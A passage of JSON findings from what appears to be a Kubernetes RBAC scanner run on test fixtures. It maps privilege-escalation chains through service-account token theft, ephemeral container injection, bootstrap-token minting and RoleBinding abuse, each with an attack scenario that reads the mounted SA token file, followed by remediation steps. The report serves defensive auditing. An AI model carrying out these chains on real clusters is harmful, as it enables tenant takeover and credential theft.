        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-create-escape:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach **namespace-admin in `cutres`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  4. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-create-escape:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach **namespace-admin in `deepchain-tenant`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  4. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-create-escape:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach **namespace-admin in `rbac-ns-fixtures`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  4. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "modify_role_binding"
      ]
    },
